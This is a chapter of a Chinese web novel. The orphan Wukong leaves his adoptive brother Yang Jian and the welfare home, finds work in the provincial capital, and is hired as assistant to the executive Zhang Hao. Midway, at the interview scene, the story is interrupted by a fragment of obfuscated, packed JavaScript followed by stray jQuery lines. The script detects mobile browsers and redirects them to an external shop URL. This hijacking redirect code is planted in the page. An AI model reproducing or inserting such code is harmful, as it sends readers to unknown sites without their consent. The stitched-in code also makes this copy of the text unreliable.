第五章、向左走，向右走
一
杨戬二十一岁那年春天，戬空科技拿到了B轮融资。
三千万。数字从一百二十万跳到三千万，只用了不到两年时间。公司的估值翻了十几倍，团队从十几个人扩张到了八十多人，办公室从科技园区的十四楼搬到了高新区一栋独立的二层小楼。
媒体的采访邀约像雪片一样飞来，标题怎么写都有——“十九岁CEO，二十岁融资千万”、“天才少年如何用AI改造传统制造业”、“创业七人团：我们不是神话，我们是代码”。
杨戬不怎么接受采访。他让康安裕去面对镜头，自己躲在办公室里写代码、看财报、见客户。
他身姿挺拔，一米八五，站在人群中像一棵笔直的白杨。他的脸越来越像一个人——眉骨、鼻梁、下颌线，甚至连微微蹙眉的习惯都如出一辙。但没有人提醒他这件事，他自己也不知道。
他只知道他很忙。忙到连续两个月没有回福利院。忙到错过了悟空的十八岁高考。忙到杨院长打电话来说“悟空要出去找工作”的时候，他正在开一个不能中断的董事会。
“你说什么？”杨戬从会议室里走出来，手机贴在耳朵上，走廊里的灯管照得他的脸发白。
“悟空说他要找工作，”杨院长的声音带着一种束手无策的疲惫，“他说他不读大学了。”
杨戬握着手机的手猛地收紧了。
“他疯了？”
“他说大学里教的东西他都学完了，再读四年是浪费时间。我劝不动他，小戬，你回来一趟，你跟他说。”
杨戬挂了电话，站在走廊里，看着窗外的城市。高新区的高楼一栋挨着一栋，玻璃幕墙反射着下午的阳光，刺得人眼睛疼。
他想起悟空十二岁那年，站在福利院的老槐树下，说“我的成绩够用了，考个普通高中没问题”——当时他以为那只是孩子气的话，没想到悟空是认真的。
他真的不想走那条“正常”的路。不是不能走，是不想走。
杨戬转身走回会议室，对康安裕说：“我周四回城南一趟，周五的会你替我开。”
康安裕看了他一眼，没有问为什么，只说了一句：“去吧。”
二
星期四下午，杨戬从外省的S城坐高铁回来——他的公司开在那里，离城南有几百公里。下车后又打车四十分钟，到了仁爱福利院门口。
那扇灰色的铁门还是老样子，油漆剥落得更厉害了，露出底下暗红色的锈。门口的石阶上长了一层薄薄的青苔，墙角那棵杨院长种的金银花爬满了半面墙，白色的小花开得密密匝匝，香味浓得发苦。
院子里没有人。老槐树的枝叶铺了半个院子，阳光从叶子缝隙里漏下来，在地上画了一地碎金。
杨戬穿过院子，走进走廊。杨院长在厨房里择菜，看到他，眼睛亮了一下，随即又暗下去，朝走廊尽头努了努嘴：“在屋里收拾东西。”
杨戬走过去，推开那扇他推过一万次的门。
房间很小，两张床，一张书桌，一个衣柜。下铺的被子叠得整整齐齐，枕头旁边放着一个洗得发白的布老虎——那是悟空小时候最喜欢的玩具，杨院长从旧货市场淘来的，眼睛是用黑线缝的，掉了一只，剩下那只歪歪斜斜地挂在脸上，看起来像在翻白眼。
悟空背对着门，蹲在地上，面前摊开一个旧行李箱。行李箱是蓝色的，拉链坏了，用一根绳子绑着。他正在往里面塞衣服——几件T恤，两条裤子，一件杨院长织的毛衣。毛衣是绿色的，已经穿了好几年，袖口磨出了毛边，肘部织了好几个补丁。
“你要去哪？”杨戬靠在门框上，声音不大。
悟空的手顿了一下，没有回头。
“找工作。”
“找什么工作？”
“不知道。先找找看。”
杨戬走进房间，在他身边蹲下来，伸出手按住那个行李箱。
“悟空，你看着我。”
悟空慢慢抬起头。
十八岁的悟空和十五岁时没有太大区别。还是那张干干净净的、中性的、让人说不清道不明的好看的脸。还是那双黑亮的、藏着很多东西但什么都不肯说的眼睛。还是身高勉强一米六五，打了八年的生长激素，最后只长到这个程度。
他的脖子光洁平滑，没有喉结，锁骨下方露出那枚碧绿的玉坠，红绳已经换过好几根了，但玉坠还是那个玉坠。
杨戬看着他，心脏那个位置又开始了那种隐隐的疼。
“大学已经录取你了，”杨戬说，“全省最好的大学，全免学费，还有奖学金。你为什么要放弃？”
“我说过了，”悟空把手从行李箱上收回来，垂在膝盖上，“大学里教的东西我都会了。去了也是浪费时间。”
“那个不重要。”
“那什么重要？”悟空抬起头，直直地看着他的眼睛，“哥，你告诉我，什么重要？”
杨戬张了张嘴，发现自己说不出话。
悟空等了两秒，见他没有回答，低下头，继续往行李箱里塞衣服。他把那件绿毛衣叠了又叠，叠成一个小方块，塞进箱子的夹层里。
“你去过福利院外面吗？”悟空忽然问，声音很平，像在说一件与己无关的事，“我是说，不是去上学，不是跟着奶奶去买菜，不是坐着公交车从城南到城东去看你。我是说，一个人，没有目的地，走出去，走到没有人认识你的地方。”
杨戬摇了摇头。
“我去过，”悟空说，“上个月。我坐了一辆不知道开往哪里的公交车，到底站，下车，然后一直往前走。走了三个小时，走到天黑。那个地方什么都没有，没有福利院，没有学校，没有人，没有你。我在路边坐了一会儿，然后回来了。”
他拉起行李箱的拉链，用力拽了几下，拉链磕磕绊绊地合上了。
“我想过了，”悟空站起来，拉着行李箱的拉杆，转过身面对杨戬，“我这辈子，不能一直在福利院里等谁回来。”
杨戬也站了起来。一米八五对一米六三，二十二厘米的差距，比三年前又拉开了一点。悟空仰着脸看他，那枚玉坠从领口滑出来，在灯光下晃了一下。
“你要走，我不拦你，”杨戬说，声音有点涩，“但你至少告诉我，你打算做什么。”
“不知道。”悟空说，“先找份工作，能养活自己就行。”
“你只有高中毕业证，能找到什么工作？”
“我可以学。什么都行。”
杨戬深吸一口气。他想说“你来我公司，我给你安排一个位置”，但这句话到了嘴边，又咽了回去。
他知道悟空不会答应。不是因为工作不合适，而是因为那是“他的”公司。悟空这辈子最不想做的事情，就是成为他的负担、他的附庸、他施舍的对象。
“你等我两年，”杨戬换了一种说法，“两年后公司稳定了，我——”
“哥。”悟空打断了他，声音不大，但很坚决，“你不用管我。你已经管了我十八年了。”
两个人面对面站着，中间隔着一个旧行李箱和十八年的时光。走廊里传来杨院长炒菜的声音，油的滋啦声，锅铲碰撞铁锅的声音，还有金银花的香味从窗户飘进来，甜丝丝的，和这个场景完全不搭。
杨戬伸出手，想碰碰悟空的脸。
悟空没有躲。他站在那里，一动不动，像一棵被风压弯了又直起来的草。他的眼睛很亮，但没有眼泪，嘴唇抿成一条线，下巴微微抬着，像在等什么，又像在拒绝什么。
杨戬的手停在半空中，距离悟空的脸只有几厘米。他能感觉到悟空呼吸的温度，温热的，细细的，拂在他的指尖上。
他收回了手。
“你至少把手机带上，”杨戬说，“保持联系。”
“嗯。”
“缺钱了跟我说。”
“不会缺的。”
“你的针——”
“不打了。”悟空说，“医生说再打也不会长了。一米六三，够了。”
杨戬低下头，看着自己空空的双手，看了两秒，然后从口袋里掏出一张银行卡，塞进悟空的行李箱侧面的小口袋里。
“里面有一点钱，”他说，“不是给，是——你帮我存着，等我要用的时候再找你拿。”
悟空看了他一眼，没有推辞。他把行李箱侧面的拉链拉好，确认银行卡不会掉出来。
杨院长站在厨房门口，围裙上沾着油渍，手里拿着锅铲，看着走廊尽头那两个孩子——一个高得离谱，一个矮得过分，站在一起，像两棵从同一根树根上长出来、却朝着不同方向生长的树。
她想说点什么，但喉咙像被什么东西堵住了。最后她什么也没说，转身回到灶台前，把火关了，把锅盖盖好，靠在灶台边上，用手背擦了擦眼睛。
三
悟空走的那天，城南在下雨。
不是暴雨，是那种细密绵长的梅雨，打在伞上像无数根针在刺。杨院长撑着伞送他到公交站台，从口袋里掏出一个塑料袋，里面装着几个煮鸡蛋和两瓶水。悟空接过来，放进书包里，没有说谢谢。
“奶奶，我找到地方了给你打电话。”
“好。”
“你腿不好，别搬重东西，等我回来搬。”
“好。”
“那棵树上的桃子可以摘了，别一次吃太多。”
杨院长的眼泪终于没忍住。她偏过头去，用袖子擦了擦，然后转回来，笑着拍了一下悟空的肩膀。
“你什么时候变得这么啰嗦了？”
悟空没有笑。他看着杨院长那张满是皱纹的脸，看了很久，然后把额头抵在她的肩膀上，轻轻靠了一下，像一只倦鸟在风雨中找到了一截树枝，只停一秒钟，又飞走了。
公交车来了。悟空上了车，刷卡，走到最后一排靠窗的位置坐下。车开动的时候，他没有回头，一直看着窗外。窗外是城南的老街，面包店、修鞋摊、五金店、药店——他闭着眼睛都能背出来的街景，一家一家地往后退，越来越快，越来越模糊，最后被雨幕吞没了。
到了火车站，他买了一张去省城的票。省城很大，机会很多，没有人认识他，也没有人等着他回去。
他在火车上坐了两个小时，旁边是一个带着小孩的年轻妈妈，小孩一直在哭，年轻妈妈哄不住，自己也快哭了。悟空从书包里摸出一个煮鸡蛋，剥了壳，递给那个小孩。小孩愣了一下，接过鸡蛋，不哭了，小口小口地咬着吃。
年轻妈妈感激地看了他一眼，说：“谢谢你啊，小朋友真懂事。”
悟空没有纠正她的称呼。小朋友。不管是小弟弟还是小妹妹还是别的什么，都不重要。他早就习惯了。
火车到站的时候，雨停了。省城的天空灰蒙蒙的，高楼比城南多了十倍，路上的车流像一条永不干涸的河流。悟空背着书包，拖着那个旧行李箱，站在出站口，仰头看着头顶那块巨大的电子屏幕——上面滚动着招聘广告、天气预报和欢迎词。
“欢迎来到省城。梦想从这里开始。”
悟空看了几秒钟，低下头，拖着箱子走进了人群。
四
张昊的助理姓周，叫周明远，跟了张昊七年。
七年来，周明远从没请过一天病假。他每天早上七点半准时到公司，晚上张昊几点走他几点走，偶尔张昊出差，他就在办公室守着，等电话、等文件、等邮件。他的桌上永远摆着一杯黑咖啡和一本翻旧的日程本，他的手机永远调成响铃模式，他永远知道张昊下一分钟要去哪里、见谁、带什么文件。
这样的人，是不会轻易生病的。但人生病的时候，往往就是最不该生病的时候。
那天是六月的第二个星期二。张昊的集团公司——鼎盛控股——刚刚拿下了一个重要的并购项目，需要在一个月内完成所有法律和财务手续。周明远连续工作了二十三天，每天只睡四个小时，在第四天凌晨三点发完最后一封邮件之后，从椅子上站起来，眼前一黑，直挺挺地倒在了办公桌旁边。
急性心肌炎。医生说得住院至少一个月，出院后还不能再干这么高强度的工作，否则命都保不住。
周明远躺在病床上，脸色蜡黄，嘴唇发紫，用虚弱的声音给张昊打电话——不是请假，是推荐自己的副手接手工作。张昊在电话那头沉默了三秒钟，说：“好好养病，工资照发。”然后挂了。
副手叫林芝，三十二岁，跟了周明远两年，业务能力不错，但性格软，压不住场。张昊用了一周，发现三个问题：第一，林芝不敢替他做决定，芝麻大的事都要打电话问他；第二，林芝不会开车，而他需要助理能自己开车接送他；第三，林芝背后有一套自己的关系网，底细查不清楚。
张昊不喜欢不确定的事情，尤其不喜欢对自己身边的不确定。
“再招一个人，”他在周五例会上对人力资源总监说，“总裁助理，全职。三天之内我要看到候选人。”
“三天？”人力资源总监面露难色，“张总，总裁助理这个级别的——”
“三天。”
人力资源总监把“这个级别至少要招聘一个月”咽了回去，改口说：“好的张总。”
五
悟空到省城的第一周，住在火车站附近的一家青年旅舍里。
旅舍在地下室，八人间，没有窗户，只有一盏日光灯管日夜不停地亮着，照得人分不清白天黑夜。上下铺，铁架床，被子有股淡淡的霉味。一晚上三十五块钱，含一顿早餐——一个馒头，一碗白粥，一碟咸菜。
悟空住得很安心，他以前睡过比这更差的地方。福利院冬天暖气坏了的时候，他和杨戬挤在一张床上，盖两床被子，被子硬得像铁板，但两个人挤在一起就不冷了。
安顿下来的第二天，他给朱罡打了电话。
“我到省城了，住下了。”
朱罡在那头喊：“怎么样？省城大不大？人多不多？”
“大，人多。”悟空说，“工作还没找到，先住着。你和沙悟安别急，等我找到地方了，你们再来。”
“你一个人注意安全，”朱罡的声音难得地认真起来，“别跟人打架，有事打电话。”
“知道了。”
挂了电话，他又给沙悟安发了一条消息，只有两个字：“到了。”
沙悟安秒回：“地址发我。万一有事，我报警也得找到你。”
悟空笑了一下，把青年旅舍的定位发了过去。
他在求职网站上投了上百份简历。销售、客服、文案、助理、前台、仓管……只要不看学历、不要求“形象气质佳”、不问他“是男是女”，他都投。但S城太大了，大公司要学历，小公司要经验，不上不下的公司要“五官端正、形象好气质佳、身高165cm以上”。
他163cm，不男不女，高中毕业证，零工作经验——简历像石头一样沉进了大海，连个水花都没有。
第三天，他去了一家快递公司的分拣中心面试。面试官是一个四十多岁的胖男人，留着八字胡，穿着皱巴巴的polo衫，坐在一把转椅上转来转去，一边转一边看悟空的简历。
“男的女的？”胖男人问。
“重要吗？”悟空反问。
胖男人上下打量了他几眼，目光在他的脖子和胸前停留了一瞬，然后撇了撇嘴：“我们这儿干活要体力，你一箱货几十斤，你搬得动吗？”
“我搬过更重的。”
“撒谎。”
悟空站起来，走到墙角堆货的地方，单手提起一个二十公斤的包裹，走回来，放在胖男人的办公桌上。包裹落下的时候发出一声闷响，桌上的水杯跟着震了一下。
胖男人看了看包裹，又看了看悟空，沉默了五秒钟。
“明天来试岗。”他说。
快递分拣的试岗持续了一天半。第一天，悟空从早上七点干到晚上八点，搬了将近四百个包裹，回到家手都在发抖，筷子都拿不稳。
第二天上午，他搬了快两百个，分拣线的传送带出了故障，电工来了修不好，悟空蹲下来看了两分钟，把电机接线盒打开，重新接了一根线，传送带转起来了。
电工愣了：“你学过电工？”
“没有。”悟空说，“原理差不多。”
分拣中心的经理从监控里看到了这一幕，跑过来问他什么学历，悟空说高中。经理问学过什么，悟空说数学物理都还行。经理又问计算机呢？悟空说会写代码。
经理把他带到了办公室，打开电脑，让他写一个简单的脚本——自动分拣系统的数据整理脚本。悟空坐下来，用了一个半小时，写完了。代码简洁得让公司唯一的程序员看了沉默了三分钟。
“你不应该在这里搬货。”经理说。
“我知道。”悟空说，“但我需要钱。”
经理给了他一个兼职的职位——每周工作二十个小时，帮公司写一些小工具和脚本，工资按日结。悟空说好，但问能不能改成每周三十个小时，他需要更多钱。经理想了想，答应了。
那天晚上，悟空回到青年旅舍，躺在上铺，给杨院长打了个电话。
杨院长在电话那头问了好几次“在外面吃得好不好”“住得好不好”“有没有生病”，悟空一一回答，说“好”、“好”、“没有”。
杨院长沉默了一会儿，忽然说：“小戬来过了，看到你走了，在院子里站了好久。我看他眼圈红了。”
悟空握着手机的手微微收紧了一下。
“他太忙了，”悟空说，“来回跑浪费时间。”
“你给他打个电话吧，”杨院长说，“他担心你。”
“好。”
悟空挂了电话，在通讯录里翻到“哥”，盯着那两个字看了很久。他想打，但他不知道该说什么。说“我在地下室旅舍住”？说“我在快递分拣中心搬货”？说“我今天下午试了三十双鞋才发现鞋垫才是关键”？
他不想让杨戬知道这些。杨戬会心疼，会忍不住，会放下工作跑过来，会给他安排一个干干净净、体体面面的工作，会让他住进宽敞明亮的公寓——会让他欠越来越多的债，那些债不是钱，是情，是恩，是他这辈子都还不完的东西。
他锁了屏，把手机放在枕头旁边，翻了身，面朝墙壁。
地下室没有窗户，看不到月亮。
六
第四天，悟空在求职网站上看到了一条招聘信息。
鼎盛控股集团总裁助理
职责：
·协助总裁处理日常事务
·协调各部门工作
·跟进重点项目
·完成总裁交办的其他工作
要求：
·全日制本科及以上学历（能力突出者可放宽）
·有较强的沟通协调能力
·能适应高强度工作节奏
·有驾照者优先
待遇面议，五险一金，提供住宿或住房补贴。
招聘信息没有写“身高165cm以上”，没有写“形象气质佳”，没有写“男女不限”——因为它默认助理这种岗位只会招“正常”的人，不需要特别强调。
悟空盯着“能力突出者可放宽”这行字看了五秒钟，然后点开了“申请”按钮。
他写了一份简历。教育背景只写了高中，但附了一张纸条：“我自学完了数学（高等数学、线性代数、概率论）和计算机（数据结构、算法、Python编程）的本科核心课程，可以参加任何形式的笔试。给我一个面试机会，不合适可以不录用。”
人力资源总监周檀收到悟空简历的时候，第一反应是扔垃圾桶。
高中毕业。没有工作经验。年龄十八岁。附了一张纸条，说自己“自学完了大学课程”——这种话她在过去十年里听过太多遍了，十个刚毕业的高中生里有八个都会这么写，“我没学历但我有能力”，但真到了面试的时候，一问三不知。
她正准备点击“拒绝”的时候，光标停在了“姓名”那一栏。
孙悟空。
这个名字有点奇怪。她多看了一眼，又看了一眼那张纸条——“可以参加任何形式的笔试”。犹豫了几秒，她把简历转发给了技术部门的负责人陈工，附了一句：
"陈工，这人说自学了高数，线代，概率和数据结构算法，你信吗?"
陈工正调试代码，随手点开悟空纸条背面写的那道算法思路看了看。几秒钟后，他回了一条消息："这解法有点意思。不是科班的路子，但逻辑很干净。可以让他来试试笔试。"
周檀把简历从垃圾箱里捞了回来，给悟空发了一条面试通知："明天下午两点，鼎盛大厦十五楼，先做一套笔试题。"
面试那天，悟空穿着一件干干净净的白色T恤和一条黑色长裤，头发洗得很干净，鞋子还是那双杨戬送他的白色运动鞋。
他站在鼎盛控股集团的总部大楼下面，仰头看着那栋玻璃幕墙的大厦——三十二层，最顶层是张昊的办公室。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605930|205720||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>他走进大厅，前台是一个穿着制服、妆容精致的年轻女人，看了他一眼，目光顿了一下。
“您好，请问您找哪位？”
“面试。董事长助理。”
前台的表情肉眼可见地困惑了。她上下打量了悟空一遍——矮，瘦，短头发，白T恤，黑色长裤，运动鞋。面试董事长助理？
她把怀疑压下去，指了指电梯的方向：“十五楼，人力资源部。”
周檀亲自面的第一轮。她出了三道题：一道数学逻辑题（考察分析能力），一道案例分析（考察处理复杂事务的思路），一道英文阅读理解。悟空用了四十分钟做完，周檀对着答案核对了三遍，每一遍都得出同一个结论：正确答案率百分之百。
第二轮是技术面试。她找了技术部最厉害的一个架构师来面悟空。架构师出了一道算法题，悟空在纸上写了十分钟，架构师看了沉默了很久。
“这是最优解。”架构师说。
“当然。”悟空说。
第三轮是心理测评和行为面试。周檀问了他很多问题——为什么没有读大学？为什么来鼎盛？你能接受加班吗？你能接受出差吗？你能接受在老板需要你的时候随时出现吗？
悟空一一回答。不读大学是因为大学教的东西他都会了。来鼎盛是因为你们招人。能加班，能出差，能随时出现。
“你多高？”周檀问。
“一米六三。”
“体重呢？”
“95斤。”
“你身体怎么样？这工作强度很大。”
悟空想了想，很诚实地回答：“我从小打生长激素，骨骼和内分泌方面有问题，但不影响工作。我不生病。”顿了顿，又补了一句，“十八年没生过大病。”
周檀看了他一眼，没再追问。她不是那种会在这种问题上纠缠的人——她有几十年的识人经验，知道有些人身上的东西不是写在报告里的。
三轮面试结束，周檀拿着评价表和悟空的所有材料，坐电梯上了三十二楼。
张昊正在看一份合同，头也没抬：“怎么样？”
“数学、逻辑、英文都是满分，技术面试评价极高，”周檀把材料放在他桌上，“高中毕业，十八岁，没有工作经验，身高一米六三，身体条件一般。”
张昊翻材料的手顿了一下。
他抬起头，看着周檀：“十八岁？”
“十八。”
张昊沉默了几秒，低下头继续看材料。他看到那份简历上写着“孙悟空”三个字，脸上什么表情都没有。
“让他来试岗，”张昊说，“一个月。不行就换。”
“好的，张总。”
七
悟空在出租屋里接到录用通知电话的时候，正蹲在地上补那双旧运动鞋的鞋底。鞋底磨出了一个洞，他用胶水粘了一块橡胶皮上去，压着等它干。
“孙悟空先生，您被录用了。下周一早上八点到鼎盛大厦三十二楼报到。”
悟空拿着手机，蹲在地上，愣了三秒钟。
“……好的，谢谢。”他说。
挂了电话，他低下头，看着鞋底那块还没粘牢的橡胶皮，忽然笑了一下。不是高兴，是一种他说不上来的、复杂的、带着一点荒谬感的笑。
他站起来，走到洗手池前，打开水龙头，洗了一把脸。水很凉，打在脸上像春天的雨。他抬起头，看着镜子里那张中性的、好看的、说不清是谁的脸。水滴从他的下巴滴下来，滴在洗手池的白色瓷面上，发出细微的声响。
他先给朱罡发了一条消息："过了。鼎盛控股，董事长助理。"
朱罡几乎是秒回，语音消息，声音大得震耳朵："我操!牛逼啊悟空!董事长助理!我就说你行!对了，我和沙悟安也定了，下个月就来S城。你先稳着，到时候咱们互相照应。"
紧接着沙悟安的消息也进来了："恭喜。注意身体，别太累。我们下周到，到了联系你。"
悟空看着那两条消息，蹲在地上，忽然笑了一下。他把手机放在地上，继续补鞋底。橡胶皮粘好了，他用指甲压了压边缘，确认不会翘起来。
他又想给杨戬打电话。
他拿起手机，翻到“哥”，盯着看了几秒钟，又放下了。
明天。明天打。
他转身开始收拾东西，把行李箱从床底下拖出来，把衣服叠进去。那件绿色的毛衣被他放在最上面，用手压了压，拉上拉链。这次拉链没有卡住，顺顺当当地合上了。
八
下周一，早上七点四十。
悟空站在鼎盛大厦三十二楼的电梯口，穿着他最好的衣服——一件白衬衫，一条深蓝色的长裤，那双补过的白色运动鞋。衬衫是上周在批发市场买的，三十五块钱，领口有点大，露出锁骨和那枚碧绿的玉坠。他犹豫了一下，把衬衫最上面那颗扣子也扣上了，遮住了玉坠。
三十二楼的走廊铺着深灰色的地毯，墙上挂着几幅抽象画，走廊尽头是一扇深色的木门，门旁边的墙上嵌着一个铜牌：董事长办公室。
周檀已经在等他了。她带他参观了办公区，介绍了工作流程，最后把他领到一间小办公室门口。
“这是你的工位。就在老板办公室外面。”周檀递给他一把钥匙和一张工牌，“工牌上有你的权限，所有门禁区域都开了。不懂的就问，但不要问两次。”
悟空接过工牌，低头看了一眼——照片是他来面试那天拍的，歪着头，面无表情，像一只被人从窝里拎出来的小猫。
他走进小办公室，把书包放在桌上，坐下来。桌子很大，电脑很新，椅子可以调高矮。他把椅子调到最高，让自己的视线和电脑屏幕平齐。
他正在整理文件的时候，走廊尽头那扇深色木门开了。
悟空抬起头。
张昊站在门口。
他三十九岁，一米八七，穿着一件深灰色的西装，白衬衫，没有打领带。他的脸线条硬朗，眉骨很高，鼻梁很直，眼尾微微上挑。不说话的时候嘴角微微下撇，显得很冷，很疏离，像一座没有温度的石像。
空看着那张脸，愣了一下。
不是因为害怕，也不是因为紧张。而是那双眼睛——眼尾微微上挑，目光沉静，带着一种不经意的审视。这双眼睛，他在另一个人脸上见过无数次。每天睡觉前闭上眼睛，那张脸就会出现在黑暗里。
杨戬。
但也就眼睛有四五分像。张昊的眉骨更高，下颌线更硬，整张脸的轮廓比杨戬更冷更锋利，像一块没有温度的石头。那双眼睛嵌在这张陌生的脸上，似曾相识，又不敢确认。
悟空把目光移开，攥紧了手里的工牌。
张昊也在看他。
他的目光从悟空的脸滑到他的脖子，在白衬衫的领口停了一瞬，然后移到他的眼睛——那双又黑又亮的、像两颗黑玻璃珠的眼睛。
张昊把目光收回来，脸上什么表情都没有。
“新来的？”他问。
周檀赶紧介绍：“张总，这是新招的总裁助理，孙悟空。”
悟空站起来。一米六三站在一米八七面前，像一棵小树苗站在一棵大树旁边。但他仰着脸，目光平直地和张昊对视。
“老板好。”他说。
张昊看了他两秒钟，点了点头。
“十分钟后有个会，你跟我去。”他说完转身回了办公室，门在他身后轻轻关上了。
九
杨戬不知道悟空去了哪里。
悟空只在临走前发了一条消息：“哥，我到省城了，找到工作再跟你说。”然后就再也没有消息了。
杨戬每天翻他的朋友圈，什么都没有。微信消息发过去，要过很久才收到回复，回复的内容永远是“还好”“没事”“在忙”——三个词，轮着用，像一台只会说三句话的机器人。
杨戬试过打电话。响了两声就接了，但悟空在电话那头沉默了很久，最后说了一句“我挺好的”，然后就挂了。三秒钟。整个通话只有三秒钟。
杨戬放下手机，靠在工作椅的椅背上，仰头看着天花板。办公室的灯很亮，亮得他眼睛疼。
康安裕推门进来，手里拿着一沓文件，看到他这样子，停了一下。
“怎么了？”
“没什么。”
康安裕把文件放在桌上，拉过一把椅子坐下来，盯着他看了几秒。
“你是担心你弟弟？”
杨戬没有说话。
康安裕叹了口气。他跟杨戬认识了五年，从大学寝室到创业公司，他见过杨戬所有的一面——冷静的、果敢的、疲惫的、愤怒的、意气风发的。但他从来没有见过杨戬这个样子。不是焦虑，不是恐惧，是一种更深层的、更原始的、说不清道不明的——空。
像一个被抽走了芯的蜡烛，外壳还在，但光已经灭了一半。
“他十八了，”康安裕说，“不是小孩子了。你得让他自己飞。”
“我知道。”杨戬说。
“那你别一直给他打电话了，他会烦的。”
“我知道。”
康安裕站起来，拍了拍他的肩膀，走了。
杨戬一个人坐在办公室里，窗外的天慢慢暗下来。他没有开灯，坐在黑暗中，听着空调外机嗡嗡的声音。
他想起悟空十五岁那年，也是这样的傍晚，他也是一个人坐在这里，听风的声音。那时候悟空还在福利院，还在那棵老槐树下面，还在等他回来。
现在悟空走了。走了一个月了，走到他不知道的地方。
他把手机拿起来，打开和悟空的聊天窗口，打了几个字：“你吃饭了没有？”
看了一眼，觉得这行字太傻了，删掉了。
又打了几个字：“缺钱吗？”
又删掉了。
最后他什么都没发，把手机放在桌上，屏幕朝下。
黑暗中，他闭上眼睛，想象悟空在某个他不知道的地方，做着某件他不知道的事情，见着某个他不知道的人。他的心脏那个位置又开始疼了——不是隐隐的，是一下一下的，像有人拿着钝器，有节奏地敲。
他开始数那些心跳。
一下，两下，三下。
黑暗中，他闭上眼睛，想起多年前的那个夜晚——他拉着悟空的手，按在自己胸口上，说“感觉到了吗，这是在跳”。
他的心脏现在也在跳。一下一下的，他一直都在。
但那个人，已经不在了。
（第五章完）